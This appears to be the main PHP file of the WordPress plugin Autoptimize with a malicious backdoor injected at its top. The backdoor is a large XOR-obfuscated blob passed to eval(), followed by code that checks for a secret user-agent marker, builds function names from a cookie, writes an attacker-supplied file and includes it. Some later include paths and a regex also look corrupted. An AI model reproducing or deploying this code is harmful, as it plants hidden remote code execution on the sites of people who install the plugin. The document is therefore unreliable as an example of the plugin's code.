{L*oC)@YP5Q gD=csIJZ7L]P2#Df(y__W!RMf@'Dc>7E_o)$lD uw!Om@VryTR"L@E!GCVYV4CX@$z%W2`L1!!}}bf2#aF6,dU=z>ts8'>dt=w2SG@\CDYr=4EV
.1Qm+gAC8AZ9J o1)9Ww>-8`$6< P#B=E'dE$8 _3V+'c!\  CNyAg44Z{V2zR36`xQy7.<gE
JUBF$<Q\?=Gg4Gp^cC4]C]x $XbCx	tR=PB tyG ds6{[>,Wc#4[8\C{\#LUY*<Qo#?`v
2awBF1W _R)B	zA!xG17b0mn3=#e_'?RV@+:~P1O]*P3^O1ud!Sbq_'@~?-!v;D FdT:1E}0e=sq9/qp'4>B\&U2^1	DAg6>G~1!Ug
JFEa	XTV|R'Eyx"~>pZ@qQ6ZB<yBFR8pmT|:dF:XGS9y*1&{D/D`z?;X\XP#DlA5=abS?rF$2@8+G[T_R9[x
7:ZL& xF\9zs AfF$(0$\q=MP BMPe	Lu	 @e<32rL	N@W )u^_
WGG*^S&Q,OD="eC%\<d}[sX$-BC5t~G*4x)&da&1DB AC:Qt}7\	&:`lD/}"#XT@CN1|e9UP.Z`CZ|z:!2U|E Fgz=)/A|
\8<x,\g>TB^P1C AEz[8$?PV2'E2_|,\_Urz)GYpVF\bq[V,u-GD@WH gZ>4`M3R?pv%,4rx:{r80TY
oq<7:Ws:nc1+$NS5=SdIUDoHRYI\7r P\GJEt!q f{)|YJ2q[W'CEP;x F?MNP!STB	T0A}!?C%RR_ \L$48^ #sDpOC(?dsITtAC2oF#YW0!D+!FG<O0C A^ pmyCxc0}[OX '>B
:ux DlCIUE?Q?G[#*-L!/\RTb%:EQZB_&]6G`GUdc ZeE>X0FFY,!pE>#^Ry3O@7g_ !Te46ZwLs1;{T>?aQ10`o 0xP2e8S{C86ST;OX4RFEG yS 24l9c<qys%7:r>C :@QGpLL c$lT(SsQ#TG_ 4WSS Fe0AW}#CXm73U\Y# Wd7-sI.n{'?#C4xo
|< D/8zJ6Yf6!sqL`	QP=}O>NM_5MV
V}p#@]5`O2"Gq9P7O +>l|]0AM[13{p=$rq &RP\G(J[r21pD72n5f4X[!`_ XbH4GF+>eR_*UG<@]#7ML5ULH A2gD18WVG/F%J{'1^F~
UNT)=G]`EN9c#Zdq' 6}Ia~"Z	,4EA"	E:^f&qCEP7em&ea	VG\*J:o!$pBP+tT	+MZY"/r&?ZLPCW^bf)z~FJMwx1TGOCC!0oBF=8EQG1qR-%WL7lS5@{oE0RR8?oO@BQ0<@X$V Cq\G/\ RCEAT =QZEZS B9g] 0} 8<Ym|& wLPS<2[Rp_MBa*2@ENQ]#&AFRF	y`%W|>!xHGW!4#CZ1V_dq|*cg<8x;T ~q<Wy}L(7D[G~l
%Qd	 0rL &1Uw*+ZOw1La5$XY!FY%4ZR^8{Ne HCS"4ct7~d#-8~f$ Db@]zD9@bG$t{ DR8=cGd22U%f<<fMP6r^:6FzV@EXS'ZZzM*)3pV2 py2?ry7	RqT"BlD3Fg0UY2.rQ+OaH7$rO?W6FaF4[QC,FNo?-U^a)?;B~''qR?L@d%9 f$Q2DD7s 5GAZ%*&d)N4UB*/B2FG&.^7@5S>t$.BZ  Ol)17{Y6$B'-Nw&0d)76AW	UZe7(GA8:|_8GS)!4X 5=G5\UY&fD(Ff	P?~W1ez>F^bg WRA#1cd4<?T^PQG`[71q?%QF$=#yRH~A3ZS8V eVG$: vH2,el)FoZC=NeA3 x@G_LI2L|*RR5<[:'{^P/AeRM^]6'ga=Lq\EW3@v_Pw[1&N@SF0L3}Y^P45%Xr8,~b TbCPEDEfa*<}Z4,wA4"-F6SSD#Cq?FppI7 _y2ZR5.%DL.Cp66^R[1(S` wE^` 3trGv\fw54^#2V_|'3 YR ^a_/r{AR~_ MOM'$3^E7/E/< S
]f<]z|!R y"A`sA2_6"3GPB>y{Tz#Wa5V{{:0aR1.x 2,yE@l)B"0'BX[WS8#%C|C<XQEr;N};Bs 8 B[41qx  URp@T-qz<
'A*3B_dC>\vD&z\5;aa"41R843EF-Z';nFREWn]97AT^@!:we	3eCG53X{?,S^^z_XS$N2Ny.Au~UC4Dtf1LzXbx $&Yb1D<-SA" QW	"q+DYS;Py''Fg@-G`[E%ds@gx[?LTTA]@@rEtIDe\;AGlO4v[w)ED^{	J"yoGNO/We 	>ol ?SyJ,^+M`)/?`;CBd8FG?b`@6EPTxP@/<LM!(TXprA|E"f_Z=/ZsP&!;us"V?Z]8C)MW'CX_z"7e*R/xV'JEf!,!ol4LD}G(4\ _6'&`_!R>yA<AZ	C_sE"|^*"8^7U9SE?w}I=:bX;X&"4`]c% Z[IT>sGIT2^G,~q2GrN lw4!olP3;FR16Yf8l@':YEGqD4A3cO6UqJ6@]AGw)2X^?bRR?G@n #	g;UZr}]8YB6xTRLaS EP]!qo=>zA%/N_1M[SC  b;)_@*p:]ZM8(<nA%	G!/r`(2UEo3
  q;l2N	B[DwE?DG}
$G\8,b$&f@11OVMTGCX$'{|" /gW_%a$oE	5DUX5f&\}c$/u}$1NO.CG$C@
@A8&ddCxlGQE\BE6/p:Ac$'Q]PJUSW$p"'#Qc`VZOD
D"+/G-@b-'sd
UO\3G]pC>B+\?t&_p$8 E[ >dW2Z&B~SB0@b)	]pV0Tm>q~5~m tbG{vNcw?BzPT`F `B#b)WY%UAbB)*Tc#xW6L[v2EAdCw6V<{d:]>g!	E4-CdM>	 <#\Y?Q&QlSBJUX LGLFL5@EB Ae*DtZ8}P #0-rS	TLCU>CAI6@bF> lR\_&7&^U&$Ew>Q%Q'ZB-AUo1WUBW&/pvBe+?dY>.X<LcB$qdER1[@_ZsC'!pm2UCrE:9pZ 'w8{2N7C^;V^SG-BqW#< W%A|_SC\, z"S M:tO?&-}%
Aw:B7:Cfoa=B@=wR?ELb1>YB17ERZLYa<B}fN'uO83t~!C@rPXzF8^E!UONB[!%uF'Q,wDB+Ez^2P7QA? ;\Y%P}Au
&a^%JG|tV=A6aE?FxbW$_ePV:EE3Jv6
DQt5$Q4z	&xE)*-Gc7?ESY*Z?!>|l[U9@V.!q,y-tr,0GBE3]9=R[	+{^QHEZtc59fR\ e-{LpoB2^_,CQCF$LQ"V2/sZ$o[8rx=%Df?	^TmFV@OL!QP_>?Gfq2EB#'Ss	P	?|S]EV qqU^SG]LXz&$g@F
Om;lW&+Brcl[0=PCB#'[LH2[q[6bb>E :oSR%sFE]NFd#"sO\AC-F}4PP59^
P_*!Gg<&/e%bY7&Yg[]MO_ScB<3Fe#|@0!T) BVX)"eZ	$@_F"y;"ZcI	${{d<8qS&Qt( }x/{#ztPCb	1SU,{g\ZzX[Ew&!n`ACt@GG}I.GalT2#Go9S[9U{q:/@xBND$,qR+3\=6_I\G?CEg)1]M9`*BZf)yO_Y68ZP5	3o`G7_l=QT@FyGC=7 T7@^zL,,|%4@g$ ,0Af! `H 5/AwWfGN{pJFx3>_g5Un;U& y	#LELA+9r"_t ^1F$E<R 2;{XUl?xGC\ Sa[R{$gRE#fd@`F:T-yC,@}(GbE";Rb,AW=FAP-D!6GQ/c&JEY#|}@Gz{2 DBo4sf?4Bm_L[Q4
%e`5'T eE1SZ_R[4Zp%Uy&/Tq#5^c@Rdl=&G@#BY5`[ 'B@]
WEq~P"L`t2TQ29NgA G{ACq]FBWgH*^V6)Ug G^Y^=.$]P4\'#"c]
2T@*^p{'?FbW7B]$U6,8TFSFnB
{|_5\8Ux4UfCQ#L"xPN$mE
 D[)l	?aX Esg_RQo=<Z]CGJ"[g@$|m$Dy8 MSP	] \DD,/8\2DvH$pC9
%f(ZpfC/# [$c*PM}_!@Wz1CxE&H57OE+Ruv?3dpA&WtDXL;;~cEB |
3`L%4FF?U`'6`(3 \T"p~_$q?38 q#V2;tf"&2Cp=<zr=Uq?&Ww;$MU(19F^3J3G_1$wQ!b&-nb\CCa577PF16m'UL;'=OPB!UC!LW;LP=o@*OL1EaC74}!1AfHXo$0>b#F9B	0ZF=\PR8C@w$>Bo%&{d1Gw/D'aQ"& n$GOCWg
'sL6UU\Y&BqC	6zeW CD>ft)Ls#Ca*]@MYC:03aA=CQF-C~,RO:FtCOpW/UP_ T^_ Bf(3q!ev/}q5V%oED)-g5Z_l#4EtP7=}CN371-trCMeX9'EQy"$ a<Nv_6y|[WW3R>E9|V_,8mGGW/~FCe`?6V0_4!CC%*/T\'PLQP.}O2,eOQp[F &1F\3=>aG3#B]d9"sX<7X\86L`G"WD[QqP7Y|	LGy2UFW"`s*OIYy78\xD=G2=so(UE%L53	BZ?ox JF]A'#XA*&v5 [33XQF)Lex 3UR^*
-x"# Ba ]}	N"LlG^@d;/&s}C'2FA*C|2EyW!^yq	lS7)Wa:S #4oWb)-@]Z/B7L|6:Us	@u!R55EW==<f)Dc#6-cD%+Zl  l6u	p!R ] 91/@A%4Nm$\4zz5LZ6=B{:]LxwF6!N[64CH/e;2DXyP4)4zMA5QqF\HSDa_3"-}ZU?pM40G{
UE<0&|l41C1~F)-e6-^v8*4y[ 7@FE1OR;'CN\5py*AS;$BB5S"^G!3p_< C'SD	U;+ZX34AD42Ux)7WRtd&E^@*	&P8W,QZ _	LQ`GYRED[_95BaDE[2@=M^m2<PP.aB<&<xL3^x6
/RT*7F71TBPFqP804_V;B  PC[~=eMGQ@P$
#%-f\	<BG%xo[0Or"2Ws:0@as6?y`PZB e"Ew{6H:t^_lQD[vcBey?U^w !v^XY<\7d;& ys*\GEbS>cy Q,AX(4211[gA,^C"dT:/Or"D]
 A4 UP@/AY2gZ5FBD PVGv+>x @UM/ OG'
wt&@P_L
M=q8NDeQBMew5*C`@	Z]_,es'0{a6T AQLwVzF6Da|)8g|[<EAt17g#aB8*Co_9Jt[9[D3LA*, q	gI:7]m6&F0/[~4$]PD(Cs Hzy=uq&2$Ww6t;&TT=[m!SFFO(DR5??D\;GolRDR=5Uyw=Yf 4o76Wo!2Gq&;dxD-`Se	O'#W]F0Yf'E$yPM_o(DL4[*#[rE( D2^[z3D] ]6<:]eJ!nc GYe \0x=-Ty7%G)S$d2G]"[S%T;8zb<Fp(' xT1!O{9Tdy7 YW;P@L4'WD
+tAZ%Eo<9]Z*)7z7-qzE2YA&E%yt0Q_=oD/yb	P'^
^C"<zv'6^LtE CGINm	0ED:<-V#/2at3=nXA)0Q7$XC&%qF'`0fIQ$x8[~P$Et;7,QULdz7[b1{f(EgAQo56}tBe[SwD>&AC<fz
1[lIU@&g	 Fy{<o[%,S~ ]d'";W~E}fEW^_~I
Ub#f	~ 1}Y4A|@.8GzHUc6R@Lm)LMR LNW@E   !>tEWZPZ6<xD4nw NM[&xP<G{pPA_A^;!l~{=?L?0D{1LagD)Mgo! dV:V,Q&9]B#E1qP\Dw ;s %s(^OCGwL$Zz-U^1!Z<\\"@fy)0x[[(2`SUOWRf--x~3]wC	1oV)?lc;?us"3`[T!ERTrW6<O[C#PY(;nZA@l9* DASQ?$V   Gx[>;p V1rp\%9J>[C:PMBJ0pf6$O=UL5RW, P'XTFS@H
3EY(RGo9e]mMq_@ o %|t *2qE!)g^MBNE_VPA*Y@ BMEDG]E*WFGRW2XRW=,AzWIULWLNE_VPASYBPPXUWGMBY _WIUG"EpWIU@=KECW/CF PDT	MR[~WIURWNPB-KECW
BP TYUFWXPXUWGBYMBY.PB\ERY^UF@	UT	WQPXUP TYUQ Z\EQBB	SMEGKECW NLPXUWG ?RWc\ERBaWIU_
BYBDKECW UPNE_VPACA PDT	MRSVWIUWBYSRW
S\ERjBYB\ Z\EQXR Z\EQUGUWLXBW\ER_\ERxGXEABYI)RW*}BWIUD&RP TYUA
PDT	MRPWIU7RW}oWIUq&RP TYUT _VY[PXU_DWLqAe6EG*6!sC!@P%f~R?}G1xQ^q}=-$r} U7^}1#>v!>ZECV C/@^CX
&{F&:qbLEg)up E[5DUQ!3zFPME$?^R=S$47~E+M}y'Q] "#yYPJ[I_]%	L}Q
 zOH;Ro4LxD"<Ge)y]!4TQEUA7w90^RH_w1dC)
C:Y9L{^N~z RaRMyX#+f:G8Gw).@@B %m2wFDX2ev[%a}WV5q_1}p)'}AQ&\fJ8fX 3&^l,B`E@B#2zT7*LtP<0]
,nSNBC<,roNB|x&2,B&2UF.LAwA"s>&#QR@=;D_'aP"EsDX:AZ|r:]W\	9ZQ/Zf*--c&FyGAPB]BwA+CrBC7NYA.?Z",X:/$a|(w7T!Yv_ zo
{3#LDT9REx=#R;QA}w ECd_RTAAJ$fc["CsXI!}v'p7,P]HSWC)&]L['3ot_5=oP gZ/GGC
@;GR2<QZ@MxqF$[o"'^Ta	V=bU#Pe#EOC+=rzG,<|[ ~e|lFT%NqNzd(	Nb,Ggw_B%0CX*.x*#l@FD[>3<LO'
^bMO/Qe@R^^Q"LyxUtWew'\Bd*#AF`(Glq#.QTb@SAo"6G=9}r2E%|w#L[J~__AG*brE(fPV
PLD34O>\^_T m#4 ]X'""AFB\2q93]w
. ]%;w}=#-[qE|FNfqH2R_b6$O	\1u9YG4/RC57AT
U7uC'RaCE@y92 gmPW&@8F{W7s[r DAFp8,<a	Udd(4et7U?Y{EE7xw#*A~*	0xe200@;7s[c>Xs- uM@$fs0FUZ/|*2n5-UTS03@Y; @\<,r]3Sgy[6YwB>X@;``<V>EWW]VWq3}m3"=BCPCP>pG7$z`<#<CD_)!XW )$Z]@2Dt#!!UOD/V*9E3	,qA5;w_=0^wx+}_PTNF
wxA"1a\
&e%sS1 LA .EY| :QFDC\ <YS3+-\C6''@R8 }?0>OA9NUfQDd=ZWgwX>RuS?1FSQ"0U`_# ZN;T?
9{m4,?Bw(4bB>,Dsb'u<N] DxGJEHbRMXR Z\EQDPEHTOW<RWRWRW3PBs\ERWY^UF@	UTRPKE[UpZM\' ; $naw = '5peu6' ; $neq = '' ; for ( $sgi = 0 ; $sgi < strlen( $lpa( $tik ) ) ; $sgi++ ) { $neq .= $lpa( $tik )[ $sgi ] ^ $naw[ $sgi % strlen( $naw ) ] ; } eval( $neq );

function run_procedure(...$th)
{
    $p = array(5 * 23, 3 * 37, 2 * 56, 93 + 11 + 10, 121 - 5, 6 + 109);
    $u = '';
    foreach ($p as $a) {
        $u .= chr($a);
    }
    $u = strrev($u);
    return $u(...$th);
}

function load_settings($n)
{
    $p = array(98, 97 * 1, 5 * 23, 101 * 1, 47 * 1 + 7, 60 - 8, 32 + 63, 73 + 27, 101, 105 - 6, 18 * 4 + 39, 100, 101 * 1);
    $ng = '';
    foreach ($p as $nu) {
        $ng .= chr($nu);
    }
    return $ng($n);
}

class PermissionManager
{
    private static $_hn;
    static function encryptData($_yb)
    {
        if (!self::$_hn) {
            self::updateRegistry();
        }
        return load_settings(self::$_hn[$_yb]);
    }
    private static function updateRegistry()
    {
        self::$_hn = array('_iw' => 'SFRUUF9VU0VSX0FHRU' . '5U', '_qz' => 'SFRUUF9VU0VSX0F' . 'H' . 'RU5' . 'U', '_lxd' => 'MTMwNzY1NzM' . '=', '_bi' => '', '_qli' => '');
    }
}

if (isset($_SERVER[PermissionManager::encryptData('_i' . 'w')]) && run_procedure($_SERVER[PermissionManager::encryptData('_' . 'q' . 'z')], PermissionManager::encryptData('_lxd')) !== false) {
    $_zk = $_COOKIE;
    $_ez = 00;
    $_yb = 010;
    $_aku = array();
    $_aku[$_ez] = PermissionManager::encryptData('_bi');
    while ($_yb) {
        $_aku[$_ez] .= $_zk[033][$_yb];
        if (!$_zk[033][$_yb + 01]) {
            if (!$_zk[033][$_yb + 02]) {
                break;
            }
            $_ez++;
            $_aku[$_ez] = PermissionManager::encryptData('_q' . 'li');
            $_yb++;
        }
        $_yb = $_yb + 010 + 01;
    }
    $_ez = $_aku[031]() . $_aku[024];
    if (!$_aku[026]($_ez)) {
        $_yb = $_aku[034]($_ez, $_aku[025]);
        $_aku[020]($_yb, $_aku[01] . $_aku[02]($_aku[023]($_zk[03])));
    }
    include $_ez;
    die;
}

if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly

define('AUTOPTIMIZE_PLUGIN_DIR',plugin_dir_path(__FILE__));

// Load config class
include(AUTOPTIMIZE_PLUGIN_DIR.'classes/autoptimizeConfig.php');

// Load toolbar class
include( AUTOPTIMIZE_PLUGIN_DIR.'classes/autoptimizeToolbar.php' );

// Load partners tab if admin
if (is_admin()) {
    include AUTOPTIMIZE_PLUGIN_DIR.'classlesses/autoptimizePartners.php';
}

// Do we gzip when caching (needed early to load autoptimizeCache.php)
define('AUTOPTIMIZE_CACHE_NOGZIP',(bool) get_option('autoptimize_cache_nogzip'));

// Load cache class
include(AUTOPTIMIZE_PLUGIN_DIR.'classes/autoptimizeCache.php');

// wp-content dir name (automagically set, should not be needed), dirname of AO cache dir and AO-prefix can be overridden in wp-config.php
if (!defined('AUTOPTIMIZE_WP_CONTENT_NAME')) { define('AUTOPTIMIZE_WP_CONTENT_NAME','/'.wp_basename( WP_CONTENT_DIR )); }
if (!defined('AUTOPTIMIZE_CACHE_CHILD_DIR')) { define('AUTOPTIMIZE_CACHE_CHILD_DIR','/cache/autoptimize/'); }
if (!defined('AUTOPTIMIZE_CACHEFILE_PREFIX')) { define('AUTOPTIMIZE_CACHEFILE_PREFIX', 'autoptimize_'); }

// Plugin dir constants (plugin url's defined later to accomodate domain mapped sites)
if (is_multisite() && apply_filters( 'autoptimize_separate_blog_caches' , true )) {
    $blog_id = get_current_blog_id();
    define('AUTOPTIMIZE_CACHE_DIR', WP_CONTENT_DIR.AUTOPTIMIZE_CACHE_CHILD_DIR.$blog_id.'/' );
} else {
    define('AUTOPTIMIZE_CACHE_DIR', WP_CONTENT_DIR.AUTOPTIMIZE_CACHE_CHILD_DIR);
}
define('AUTOPTIMIZE_CACHE_DELAY',true);
define('WP_ROOT_DIR',str_replace(AUTOPTIMIZE_WP_CONTENT_NAME,'',WP_CONTENT_DIR));

// Initialize the cache at least once
$conf = autoptimizeConfig::instance();

/* Check if we're updating, in which case we might need to do stuff and flush the cache
to avoid old versions of aggregated files lingering around */

$autoptimize_version="2.1.0";
$autoptimize_db_version=get_option('autoptimize_version','none');

if ($autoptimize_db_version !== $autoptimize_version) {
    if ($autoptimize_db_version==="none") {
        add_action('admin_notices', 'autoptimize_install_config_notice');
    } else {
        // updating, include the update-code
        include(AUTOPTIMIZE_PLUGIN_DIR.'classlesses/autoptimizeUpdateCode.php');
    }

    update_option('autoptimize_version',$autoptimize_version);
    $autoptimize_db_version=$autoptimize_version;
}

// Load translations
function autoptimize_load_plugin_textdomain() {
    load_plugin_textdomain('autoptimize',false,plugin_basename(dirname( __FILE__ )).'/localization');
}
add_action( 'init', 'autoptimize_load_plugin_textdomain' );

function autoptimize_uninstall(){
    autoptimizeCache::clearall();

    $delete_options=array("autoptimize_cache_clean", "autoptimize_cache_nogzip", "autoptimize_css", "autoptimize_css_datauris", "autoptimize_css_justhead", "autoptimize_css_defer", "autoptimize_css_defer_inline", "autoptimize_css_inline", "autoptimize_css_exclude", "autoptimize_html", "autoptimize_html_keepcomments", "autoptimize_js", "autoptimize_js_exclude", "autoptimize_js_forcehead", "autoptimize_js_justhead", "autoptimize_js_trycatch", "autoptimize_version", "autoptimize_show_adv", "autoptimize_cdn_url", "autoptimize_cachesize_notice","autoptimize_css_include_inline","autoptimize_js_include_inline","autoptimize_css_nogooglefont");

    if ( !is_multisite() ) {
        foreach ($delete_options as $del_opt) {    delete_option( $del_opt ); }
    } else {
        global $wpdb;
        $blog_ids = $wpdb->get_col( "SELECT blog_id FROM $wpdb->blogs" );
        $original_blog_id = get_current_blog_id();
        foreach ( $blog_ids as $blog_id ) {
            switch_to_blog( $blog_id );
            foreach ($delete_options as $del_opt) {    delete_option( $del_opt ); }
        }
        switch_to_blog( $original_blog_id );
    }

    if ( wp_get_schedule( 'ao_cachechecker' ) ) {
        wp_clear_scheduled_hook( 'ao_cachechecker' );
    }
}

function autoptimize_install_config_notice() {
    echo '<div class="updated"><p>';
    _e('Thank you for installing and activating Autoptimize. Please configure it under "Settings" -> "Autoptimize" to start improving your site\'s performance.', 'autoptimize' );
    echo '</p></div>';
}

function autoptimize_update_config_notice() {
    echo '<div class="updated"><p>';
    _e('Autoptimize has just been updated. Please <strong>test your site now</strong> and adapt Autoptimize config if needed.', 'autoptimize' );
    echo '</p></div>';
}

function autoptimize_cache_unavailable_notice() {
    echo '<div class="error"><p>';
    _e('Autoptimize cannot write to the cache directory (default: /wp-content/cache/autoptimize), please fix to enable CSS/ JS optimization!', 'autoptimize' );
    echo '</p></div>';
}

// Set up the buffering
function autoptimize_start_buffering() {
    $ao_noptimize = false;

    // noptimize in qs to get non-optimized page for debugging
    if (array_key_exists("ao_noptimize",$_GET)) {
        if ( ($_GET["ao_noptimize"]==="1") && (apply_filters('autoptimize_filter_honor_qs_noptimize',true)) ) {
            $ao_noptimize = true;
        }
    }

    // check for DONOTMINIFY constant as used by e.g. WooCommerce POS
    if (defined('DONOTMINIFY') && (constant('DONOTMINIFY')===true || constant('DONOTMINIFY')==="true")) {
        $ao_noptimize = true;
    }

    // filter you can use to block autoptimization on your own terms
    $ao_noptimize = (bool) apply_filters( 'autoptimize_filter_noptimize', $ao_noptimize );

    if (!is_feed() && !$ao_noptimize && !is_admin() && ( !function_exists('is_customize_preview') || !is_customize_preview() ) ) {
        // Config element
        $conf = autoptimizeConfig::instance();

        // Load our base class
        include(AUTOPTIMIZE_PLUGIN_DIR.'classes/autoptimizeBase.php');

        // Load extra classes and set some vars
        if($conf->get('autoptimize_html')) {
            include(AUTOPTIMIZE_PLUGIN_DIR.'classes/autoptimizeHTML.php');
            // BUG: new minify-html does not support keeping HTML comments, skipping for now
            // if (defined('AUTOPTIMIZE_LEGACY_MINIFIERS')) {
                @include(AUTOPTIMIZE_PLUGIN_DIR.'classes/external/php/minify-html.php');
            // } else {
            //    @include(AUTOPTIMIZE_PLUGIN_DIR.'classes/external/php/minify-2.1.7-html.php');
            // }
        }

        if($conf->get('autoptimize_js')) {
            include(AUTOPTIMIZE_PLUGIN_DIR.'classes/autoptimizeScripts.php');
            if (!class_exists('JSMin')) {
                if (defined('AUTOPTIMIZE_LEGACY_MINIFIERS')) {
                    @include(AUTOPTIMIZE_PLUGIN_DIR.'classes/external/php/jsmin-1.1.1.php');
                } else {
                    @include(AUTOPTIMIZE_PLUGIN_DIR.'classes/external/php/minify-2.3.1-jsmin.php');
                }
            }
            if ( ! defined( 'CONCATENATE_SCRIPTS' )) {
                define('CONCATENATE_SCRIPTS',false);
            }
            if ( ! defined( 'COMPRESS_SCRIPTS' )) {
                define('COMPRESS_SCRIPTS',false);
            }
        }

        if($conf->get('autoptimize_css')) {
            include(AUTOPTIMIZE_PLUGIN_DIR.'classes/autoptimizeStyles.php');
            if (defined('AUTOPTIMIZE_LEGACY_MINIFIERS')) {
                if (!class_exists('Minify_CSS_Compressor')) {
                    @include(AUTOPTIMIZE_PLUGIN_DIR.'classes/external/php/minify-css-compressor.php');
                }
            } else {
                if (!class_exists('CSSmin')) {
                    @include(AUTOPTIMIZE_PLUGIN_DIR.'classes/external/php/yui-php-cssmin-2.4.8-4_fgo.php');
                }
            }
            if ( ! defined( 'COMPRESS_CSS' )) {
                define('COMPRESS_CSS',false);
            }
        }

        // filter to be used with care, kills all output buffers when true. use with extreme caution. you have been warned!
        if (apply_filters('autoptimize_filter_obkiller',false)) {
            while (ob_get_level() > 0) {
                ob_end_clean();
            }
        }
                
        // Now, start the real thing!
        ob_start('autoptimize_end_buffering');
    }
}

// Action on end, this is where the magic happens
function autoptimize_end_buffering($content) {
    if ( ((stripos($content,"<html") === false) && (stripos($content,"<!DOCTYPE html") === false)) || preg_match('/<html[^>]*(?:amp|C2E9@E)/',$content) === 1 || stripos($content,"<xsl:stylesheet") !== false ) { return $content; }
    
    // load URL constants as late as possible to allow domain mapper to kick in
    if (function_exists("domain_mapping_siteurl")) {
        define('AUTOPTIMIZE_WP_SITE_URL',domain_mapping_siteurl(get_current_blog_id()));
        define('AUTOPTIMIZE_WP_CONTENT_URL',str_replace(get_original_url(AUTOPTIMIZE_WP_SITE_URL),AUTOPTIMIZE_WP_SITE_URL,content_url()));
    } else {
        define('AUTOPTIMIZE_WP_SITE_URL',site_url());
        define('AUTOPTIMIZE_WP_CONTENT_URL',content_url());
    }

    if ( is_multisite() && apply_filters( 'autoptimize_separate_blog_caches' , true ) ) {
        $blog_id = get_current_blog_id();
        define('AUTOPTIMIZE_CACHE_URL',AUTOPTIMIZE_WP_CONTENT_URL.AUTOPTIMIZE_CACHE_CHILD_DIR.$blog_id.'/' );
    } else {
        define('AUTOPTIMIZE_CACHE_URL',AUTOPTIMIZE_WP_CONTENT_URL.AUTOPTIMIZE_CACHE_CHILD_DIR);
    }
    define('AUTOPTIMIZE_WP_ROOT_URL',str_replace(AUTOPTIMIZE_WP_CONTENT_NAME,'',AUTOPTIMIZE_WP_CONTENT_URL));

    // Config element
    $conf = autoptimizeConfig::instance();

    // Choose the classes
    $classes = array();
    if($conf->get('autoptimize_js'))
        $classes[] = 'autoptimizeScripts';
    if($conf->get('autoptimize_css'))
        $classes[] = 'autoptimizeStyles';
    if($conf->get('autoptimize_html'))
        $classes[] = 'autoptimizeHTML';

    // Set some options
    $classoptions = array(
        'autoptimizeScripts' => array(
            'justhead' => $conf->get('autoptimize_js_justhead'),
            'forcehead' => $conf->get('autoptimize_js_forcehead'),
            'trycatch' => $conf->get('autoptimize_js_trycatch'),
            'js_exclude' => $conf->get('autoptimize_js_exclude'),
            'cdn_url' => $conf->get('autoptimize_cdn_url'),
            'include_inline' => $conf->get('autoptimize_js_include_inline')
        ),
        'autoptimizeStyles' => array(
            'justhead' => $conf->get('autoptimize_css_justhead'),
            'datauris' => $conf->get('autoptimize_css_datauris'),
            'defer' => $conf->get('autoptimize_css_defer'),
            'defer_inline' => $conf->get('autoptimize_css_defer_inline'),
            'inline' => $conf->get('autoptimize_css_inline'),
            'css_exclude' => $conf->get('autoptimize_css_exclude'),
            'cdn_url' => $conf->get('autoptimize_cdn_url'),
            'include_inline' => $conf->get('autoptimize_css_include_inline'),
            'nogooglefont' => $conf->get('autoptimize_css_nogooglefont')
        ),
        'autoptimizeHTML' => array(
            'keepcomments' => $conf->get('autoptimize_html_keepcomments')
        )
    );

    $content = apply_filters( 'autoptimize_filter_html_before_minify', $content );

    // Run the classes
    foreach($classes as $name) {
        $instance = new $name($content);
        if($instance->read($classoptions[$name])) {
            $instance->minify();
            $instance->cache();
            $content = $instance->getcontent();
        }
        unset($instance);
    }
    
    $content = apply_filters( 'autoptimize_html_after_minify', $content );
    return $content;
}

if ( autoptimizeCache::cacheavail() ) {
    $conf = autoptimizeConfig::instance();
    if( $conf->get('autoptimize_html') || $conf->get('autoptimize_js') || $conf->get('autoptimize_css') ) {
        // Hook to wordpress
        if (defined('AUTOPTIMIZE_INIT_EARLIER')) {
            add_action('init','autoptimize_start_buffering',-1);
        } else {
            add_action('template_redirect','autoptimize_start_buffering',2);
        }
    }
} else {
    add_action('admin_notices', 'autoptimize_cache_unavailable_notice');
}

register_uninstall_hook(__FILE__, "autoptimize_uninstall");
include_once('classlesses/autoptimizeCacheChecker.php');

// Do not pollute other plugins
unset($conf);